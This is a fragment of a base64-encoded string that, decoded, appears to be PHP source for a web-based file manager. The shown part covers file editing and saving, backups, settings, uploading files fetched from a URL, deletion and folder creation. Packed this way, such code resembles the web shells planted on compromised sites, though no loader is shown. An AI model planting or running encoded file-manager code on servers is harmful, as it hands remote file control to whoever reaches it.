VtcHR5KCRyZWFkb25seV91c2VycykgJiYgaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkgJiYgaW5fYXJyYXkoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJHJlYWRvbmx5X3VzZXJzKSkpO1xuZGVmaW5lKCdGTV9JU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXFxcJyk7XG5cbmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbn1cblxuJHAgPSBpc3NldCgkX0dFVFsncCddKSA/ICRfR0VUWydwJ10gOiAoaXNzZXQoJF9QT1NUWydwJ10pID8gJF9QT1NUWydwJ10gOiAnJyk7XG5cbiRwID0gZm1fY2xlYW5fcGF0aCgkcCk7XG5cbiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6XC9cL2lucHV0Jyk7XG4kX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7XG5cbmRlZmluZSgnRk1fUEFUSCcsICRwKTtcbmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpO1xuZGVmaW5lKCdGTV9FRElUX0ZJTEUnLCAkZWRpdF9maWxlcyk7XG5kZWZpbmVkKCdGTV9JQ09OVl9JTlBVVF9FTkMnKSB8fCBkZWZpbmUoJ0ZNX0lDT05WX0lOUFVUX0VOQycsICRpY29udl9pbnB1dF9lbmNvZGluZyk7XG5kZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpO1xuZGVmaW5lZCgnRk1fSElHSExJR0hUSlNfU1RZTEUnKSB8fCBkZWZpbmUoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcbmRlZmluZWQoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcpIHx8IGRlZmluZSgnRk1fREFURVRJTUVfRk9STUFUJywgJGRhdGV0aW1lX2Zvcm1hdCk7XG5cbnVuc2V0KCRwLCAkdXNlX2F1dGgsICRpY29udl9pbnB1dF9lbmNvZGluZywgJHVzZV9oaWdobGlnaHRqcywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcblxuXG5pZiAoKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSB8fCAhRk1fVVNFX0FVVEgpICYmIGlzc2V0KCRfUE9TVFsnYWpheCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGhlYWRlcignSFRUUFwvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcInNlYXJjaFwiKSB7XG4gICAgICAgICRkaXIgPSAkX1BPU1RbJ3BhdGgnXSA9PSBcIi5cIiA/ICcnIDogJF9QT1NUWydwYXRoJ107XG4gICAgICAgICRyZXNwb25zZSA9IHNjYW4oZm1fY2xlYW5fcGF0aCgkZGlyKSwgJF9QT1NUWydjb250ZW50J10pO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZihGTV9SRUFET05MWSl7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09IFwic2F2ZVwiKSB7XG4gICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbiAgICAgICAgfVxuICAgICAgICAkZmlsZSA9ICRfR0VUWydlZGl0J107XG4gICAgICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7XG4gICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICRmaWxlKTtcbiAgICAgICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgICAgIGhlYWRlcignWC1YU1MtUHJvdGVjdGlvbjowJyk7XG4gICAgICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydjb250ZW50J107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgJHdyaXRlX3Jlc3VsdHMgPSBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7XG4gICAgICAgIGZjbG9zZSgkZmQpO1xuICAgICAgICBpZiAoJHdyaXRlX3Jlc3VsdHMgPT09IGZhbHNlKSB7XG4gICAgICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvclwiKTtcbiAgICAgICAgICAgIGRpZShcIkNvdWxkIE5vdCBXcml0ZSBGaWxlISAtIENoZWNrIFBlcm1pc3Npb25zIFwvIE93bmVyc2hpcFwiKTtcbiAgICAgICAgfVxuICAgICAgICBkaWUodHJ1ZSk7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcImJhY2t1cFwiICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHtcbiAgICAgICAgJGZpbGVOYW1lID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2ZpbGUnXSk7XG4gICAgICAgICRmdWxsUGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLyc7XG4gICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7XG4gICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7XG4gICAgICAgICAgICAkZnVsbFBhdGggLj0gXCJ7JHJlbGF0aXZlRGlyUGF0aH1cL1wiO1xuICAgICAgICB9XG4gICAgICAgICRkYXRlID0gZGF0ZShcImRNeS1IaXNcIik7XG4gICAgICAgICRuZXdGaWxlTmFtZSA9IFwieyRmaWxlTmFtZX0teyRkYXRlfS5iYWtcIjtcbiAgICAgICAgJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUgPSAkZnVsbFBhdGggLiAkZmlsZU5hbWU7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmdWxseVF1YWxpZmllZEZpbGVOYW1lKSkge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJGaWxlIHskZmlsZU5hbWV9IG5vdCBmb3VuZFwiKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChjb3B5KCRmdWxseVF1YWxpZmllZEZpbGVOYW1lLCAkZnVsbFBhdGggLiAkbmV3RmlsZU5hbWUpKSB7XG4gICAgICAgICAgICAgICAgZWNobyBcIkJhY2t1cCB7JG5ld0ZpbGVOYW1lfSBjcmVhdGVkXCI7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJDb3VsZCBub3QgY29weSBmaWxlIHskZmlsZU5hbWV9XCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgIGVjaG8gJGUtPmdldE1lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJzZXR0aW5nc1wiKSB7XG4gICAgICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJHJlcG9ydF9lcnJvcnMsICRzaG93X2hpZGRlbl9maWxlcywgJGxhbmdfbGlzdCwgJGhpZGVfQ29scywgJHRoZW1lO1xuICAgICAgICAkbmV3TG5nID0gJF9QT1NUWydqcy1sYW5ndWFnZSddO1xuICAgICAgICBmbV9nZXRfdHJhbnNsYXRpb25zKFtdKTtcbiAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRuZXdMbmcsICRsYW5nX2xpc3QpKSB7XG4gICAgICAgICAgICAkbmV3TG5nID0gJ2VuJztcbiAgICAgICAgfVxuXG4gICAgICAgICRlcnAgPSBpc3NldCgkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddKSAmJiAkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gXCJ0cnVlXCIgPyB0cnVlIDogZmFsc2U7XG4gICAgICAgICRoY28gPSBpc3NldCgkX1BPU1RbJ2pzLWhpZGUtY29scyddKSAmJiAkX1BPU1RbJ2pzLWhpZGUtY29scyddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkdGUzID0gJF9QT1NUWydqcy10aGVtZS0zJ107XG5cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2xhbmcnXSAhPSAkbmV3TG5nKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydsYW5nJ10gPSAkbmV3TG5nO1xuICAgICAgICAgICAgJGxhbmcgPSAkbmV3TG5nO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSAhPSAkZXJwKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA9ICRlcnA7XG4gICAgICAgICAgICAkcmVwb3J0X2Vycm9ycyA9ICRlcnA7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gIT0gJHNoZikge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7XG4gICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHtcbiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmO1xuICAgICAgICAgICAgJHNob3dfaGlkZGVuX2ZpbGVzID0gJHNoZjtcbiAgICAgICAgfVxuICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gIT0gJGhjbykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gPSAkaGNvO1xuICAgICAgICAgICAgJGhpZGVfQ29scyA9ICRoY287XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3RoZW1lJ10gIT0gJHRlMykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsndGhlbWUnXSA9ICR0ZTM7XG4gICAgICAgICAgICAkdGhlbWUgPSAkdGUzO1xuICAgICAgICB9XG4gICAgICAgICRjZmctPnNhdmUoKTtcbiAgICAgICAgZWNobyB0cnVlO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJwd2RoYXNoXCIpIHtcbiAgICAgICAgJHJlcyA9IGlzc2V0KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgJiYgIWVtcHR5KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgPyBwYXNzd29yZF9oYXNoKCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSwgUEFTU1dPUkRfREVGQVVMVCkgOiAnJztcbiAgICAgICAgZWNobyAkcmVzO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJ1cGxvYWRcIiAmJiAhZW1wdHkoJF9SRVFVRVNUW1widXBsb2FkdXJsXCJdKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG5cbiAgICAgICAgZnVuY3Rpb24gZXZlbnRfY2FsbGJhY2soJG1lc3NhZ2UpXG4gICAgICAgIHtcbiAgICAgICAgICAgIGdsb2JhbCAkY2FsbGJhY2s7XG4gICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRtZXNzYWdlKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGZ1bmN0aW9uIGdldF9maWxlX3BhdGgoKVxuICAgICAgICB7XG4gICAgICAgICAgICBnbG9iYWwgJHBhdGgsICRmaWxlaW5mbywgJHRlbXBfZmlsZTtcbiAgICAgICAgICAgIHJldHVybiAkcGF0aCAuIFwiXC9cIiAuIGJhc2VuYW1lKCRmaWxlaW5mby0+bmFtZSk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXJsID0gIWVtcHR5KCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgJiYgcHJlZ19tYXRjaChcInxeaHR0cChzKT86XC9cLy4rJHxcIiwgc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkpID8gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgOiBudWxsO1xuXG4gICAgICAgICRkb21haW4gPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9IT1NUKTtcbiAgICAgICAgJHBvcnQgPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QT1JUKTtcbiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07XG5cbiAgICAgICAgaWYgKHByZWdfbWF0Y2goXCJcL15sb2NhbGhvc3QkfF4xMjcoPzpcXC5bMC05XSspezAsMn1cXC5bMC05XSskfF4oPzowKlxcOikqPzo/MCoxJFwvaVwiLCAkZG9tYWluKSB8fCBpbl9hcnJheSgkcG9ydCwgJGtub3duUG9ydHMpKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJVUkwgaXMgbm90IGFsbG93ZWRcIik7XG4gICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheShcImZhaWxcIiA9PiAkZXJyKSk7XG4gICAgICAgICAgICBleGl0KCk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXNlX2N1cmwgPSBmYWxzZTtcbiAgICAgICAgJHRlbXBfZmlsZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCBcInVwbG9hZC1cIik7XG4gICAgICAgICRmaWxlaW5mbyA9IG5ldyBzdGRDbGFzcygpO1xuICAgICAgICAkZmlsZWluZm8tPm5hbWUgPSB0cmltKHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSksIFwiLlxceDAwLi5cXHgyMFwiKTtcblxuICAgICAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlO1xuICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZWluZm8tPm5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlO1xuXG4gICAgICAgICRlcnIgPSBmYWxzZTtcblxuICAgICAgICBpZiAoISRpc0ZpbGVBbGxvd2VkKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZFwiKTtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZmFpbFwiID0+ICRlcnIpKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmICghJHVybCkge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTtcbiAgICAgICAgfSBlbHNlIGlmICgkdXNlX2N1cmwpIHtcbiAgICAgICAgICAgIEAkZnAgPSBmb3BlbigkdGVtcF9maWxlLCBcIndcIik7XG4gICAgICAgICAgICBAJGNoID0gY3VybF9pbml0KCR1cmwpO1xuICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PUFJPR1JFU1MsIGZhbHNlKTtcbiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7XG4gICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTtcbiAgICAgICAgICAgIEAkc3VjY2VzcyA9IGN1cmxfZXhlYygkY2gpO1xuICAgICAgICAgICAgJGN1cmxfaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO1xuICAgICAgICAgICAgaWYgKCEkc3VjY2Vzcykge1xuICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheShcIm1lc3NhZ2VcIiA9PiBjdXJsX2Vycm9yKCRjaCkpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGNoKTtcbiAgICAgICAgICAgIGZjbG9zZSgkZnApO1xuICAgICAgICAgICAgJGZpbGVpbmZvLT5zaXplID0gJGN1cmxfaW5mb1tcInNpemVfZG93bmxvYWRcIl07XG4gICAgICAgICAgICAkZmlsZWluZm8tPnR5cGUgPSAkY3VybF9pbmZvW1wiY29udGVudF90eXBlXCJdO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpO1xuICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTtcbiAgICAgICAgICAgIGlmICghJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgICAgICAkZXJyID0gZXJyb3JfZ2V0X2xhc3QoKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGlmICgkc3VjY2Vzcykge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSByZW5hbWUoJHRlbXBfZmlsZSwgc3RydG9rKGdldF9maWxlX3BhdGgoKSwgJz8nKSk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZG9uZVwiID0+ICRmaWxlaW5mbykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgdW5saW5rKCR0ZW1wX2ZpbGUpO1xuICAgICAgICAgICAgaWYgKCEkZXJyKSB7XG4gICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KFwibWVzc2FnZVwiID0+IFwiSW52YWxpZCB1cmwgcGFyYW1ldGVyXCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoXCJmYWlsXCIgPT4gJGVycikpO1xuICAgICAgICB9XG4gICAgfVxuICAgIGV4aXQoKTtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydkZWwnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkZGVsID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoJF9HRVRbJ2RlbCddKSk7XG4gICAgaWYgKCRkZWwgIT0gJycgJiYgJGRlbCAhPSAnLi4nICYmICRkZWwgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICAgICAgfVxuICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRkZWwpO1xuICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICdcLycgLiAkZGVsKSkge1xuICAgICAgICAgICAgJG1zZyA9ICRpc19kaXIgPyBsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKSA6IGxuZygnRmlsZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCdub3QgZGVsZXRlZCcpIDogbG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnbm90IGRlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGZpbGUgb3IgZm9sZGVyIG5hbWUnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ25ld2ZpbGVuYW1lJ10sICRfUE9TVFsnbmV3ZmlsZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgICR0eXBlID0gdXJsZGVjb2RlKCRfUE9TVFsnbmV3ZmlsZSddKTtcbiAgICAkbmV3ID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoc3RyaXBfdGFncygkX1BPU1RbJ25ld2ZpbGVuYW1lJ10pKSk7XG4gICAgaWYgKGZtX2lzdmFsaWRfZmlsZW5hbWUoJG5ldykgJiYgJG5ldyAhPSAnJyAmJiAkbmV3ICE9ICcuLicgJiYgJG5ldyAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdHlwZSA9PSBcImZpbGVcIikge1xuICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCAuICdcLycgLiAkbmV3KSkge1xuICAgICAgICAgICAgICAgIGlmIChmbV9pc192YWxpZF9leHQoJG5ldykpIHtcbiAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRwYXRoIC4gJ1wvJyAuICRuZXcsICd3Jykgb3IgZGllKCdDYW5ub3Qgb3BlbiBmaWxlOiAgJyAuICRuZXcpO1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSB0cnVlKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSAkcGF0aCAuICdcLycgLiAkbmV3KSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ25vdCBjcmVhdGVkJyksIGZtX2VuYygkbmV3KSksICdlcnJvcicpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSwgJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkY29weSA9IHVybGRlY29kZSgkX0dFVFsnY29weSddKTtcbiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpO1xuICAgIGlmICgkY29weSA9PSAnJykge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnU291cmNlIHBhdGggbm90IGRlZmluZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICAkZnJvbSA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkY29weTtcbiAgICAkZGVzdCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkZGVzdCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG4gICAgJGRlc3QgLj0gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKTtcbiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pO1xuICAgICRtb3ZlID0gZm1fY2xlYW5fcGF0aCh1cmxkZWNvZGUoJG1vdmUpKTtcbiAgICBpZiAoJGZyb20gIT0